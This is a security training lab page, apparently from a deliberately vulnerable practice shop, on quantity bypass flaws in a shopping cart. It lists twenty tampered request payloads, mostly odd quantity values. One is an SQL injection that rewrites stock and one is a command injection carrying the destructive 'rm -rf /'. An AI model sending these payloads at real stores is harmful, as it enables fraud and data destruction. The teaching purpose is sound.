Lab 2: Quantity Bypass

Quantity bypass vulnerabilities

Difficulty: Medium

Lab Overview

This lab demonstrates quantity bypass vulnerabilities where attackers can exceed quantity limits, bypass stock restrictions, and manipulate inventory controls to gain unauthorized benefits.

Objective: Understand how quantity bypass attacks work and how to exploit them.

Vulnerable E-commerce System
Add Item to Cart

This system allows adding items to cart. Try to bypass quantity limits:

Quantity Bypass Tester
⚠️ Quantity Bypass Warning

This lab demonstrates quantity bypass vulnerabilities:

  • No Stock Checking - No proper inventory validation
  • Client-Side Limits - Only client-side quantity limits
  • Parameter Tampering - Quantity can be modified
  • No Authorization - No quantity verification
Bypass Techniques

These techniques can be used for quantity bypass:

  • Parameter Tampering - Modify quantity parameters
  • Negative Quantities - Use negative values
  • Large Quantities - Exceed stock limits
  • Client-Side Bypass - Disable client validation
Inventory Status
Current Inventory:
Premium Product
Price: $99.99
Stock: 10
ID: ITEM001
Standard Product
Price: $49.99
Stock: 5
ID: ITEM002
Basic Product
Price: $19.99
Stock: 20
ID: ITEM003
Quantity Bypass Techniques
Parameter Tampering
// Modify quantity in POST request { "item_id": "ITEM001", "quantity": 1000 // Exceed stock limit }
Negative Quantities
// Use negative quantities { "item_id": "ITEM001", "quantity": -10 // Negative quantity }
Large Quantities
// Use very large quantities { "item_id": "ITEM001", "quantity": 999999 // Very large number }
Client-Side Bypass
// Disable client validation document.getElementById('quantity').disabled = false; document.getElementById('quantity').value = '1000'; // Or modify form action form.action = '/bypass_quantity_validation';
Decimal Quantities
// Use decimal quantities { "item_id": "ITEM001", "quantity": 0.5 // Decimal quantity }
String Quantities
// Use string quantities { "item_id": "ITEM001", "quantity": "1000" // String instead of number }
Vulnerability Details
  • Type: Quantity Bypass
  • Severity: Medium
  • Method: Parameter tampering
  • Issue: No proper stock checking
Attack Vectors
  • Parameter Tampering: Modify quantity parameters
  • Negative Quantities: Use negative values
  • Large Quantities: Exceed stock limits
  • Client-Side Bypass: Disable client validation
Quantity Bypass Examples

Use these techniques to exploit quantity bypass vulnerabilities:

1. Basic Quantity Bypass:
// Original request POST /add_to_cart { "item_id": "ITEM001", "quantity": 1 } // Bypassed request POST /add_to_cart { "item_id": "ITEM001", "quantity": 1000 // Exceed stock limit }
2. Negative Quantity Attack:
// Use negative quantities { "item_id": "ITEM001", "quantity": -10 } // This could result in inventory increase
3. Large Quantity Attack:
// Use very large quantities { "item_id": "ITEM001", "quantity": 999999 } // Exceed maximum integer limits
4. Decimal Quantity Attack:
// Use decimal quantities { "item_id": "ITEM001", "quantity": 0.5 } // Fractional quantities
5. String Quantity Attack:
// Use string quantities { "item_id": "ITEM001", "quantity": "1000" } // String instead of number
6. Array Quantity Attack:
// Use array quantities { "item_id": "ITEM001", "quantity": [1000] } // Array instead of number
7. Object Quantity Attack:
// Use object quantities { "item_id": "ITEM001", "quantity": {"value": 1000} } // Object instead of number
8. Boolean Quantity Attack:
// Use boolean quantities { "item_id": "ITEM001", "quantity": true } // Boolean instead of number
9. Null Quantity Attack:
// Use null quantities { "item_id": "ITEM001", "quantity": null } // Null instead of number
10. Undefined Quantity Attack:
// Use undefined quantities { "item_id": "ITEM001", "quantity": undefined } // Undefined instead of number
11. Infinity Quantity Attack:
// Use infinity quantities { "item_id": "ITEM001", "quantity": Infinity } // Infinity instead of number
12. NaN Quantity Attack:
// Use NaN quantities { "item_id": "ITEM001", "quantity": NaN } // NaN instead of number
13. Scientific Notation Attack:
// Use scientific notation { "item_id": "ITEM001", "quantity": 1e6 } // Scientific notation for large numbers
14. Hexadecimal Quantity Attack:
// Use hexadecimal quantities { "item_id": "ITEM001", "quantity": 0x3E8 } // Hexadecimal representation
15. Octal Quantity Attack:
// Use octal quantities { "item_id": "ITEM001", "quantity": 01000 } // Octal representation
16. Binary Quantity Attack:
// Use binary quantities { "item_id": "ITEM001", "quantity": 0b1111101000 } // Binary representation
17. Unicode Quantity Attack:
// Use unicode quantities { "item_id": "ITEM001", "quantity": "१०००" } // Unicode number representation
18. SQL Injection via Quantity:
// SQL injection in quantity { "item_id": "ITEM001", "quantity": "1; UPDATE inventory SET stock = 999999 WHERE id = 'ITEM001'; --" } // SQL injection to modify inventory
19. XSS via Quantity:
// XSS in quantity { "item_id": "ITEM001", "quantity": "" } // XSS payload in quantity
20. Command Injection via Quantity:
// Command injection in quantity { "item_id": "ITEM001", "quantity": "1; rm -rf /" } // Command injection payload
Real-World Attack Scenarios
Mitigation Strategies
  • Implement server-side quantity validation
  • Use proper stock checking and inventory management
  • Implement proper authorization checks
  • Use secure coding practices
  • Regular security testing and vulnerability assessments
  • Monitor for unusual quantity patterns
  • Implement proper input validation
  • Use secure session management
  • Implement proper error handling
  • Educate users about security threats
  • Use multi-factor authentication
  • Implement proper logging and monitoring
  • Use quantity verification systems
  • Implement proper audit trails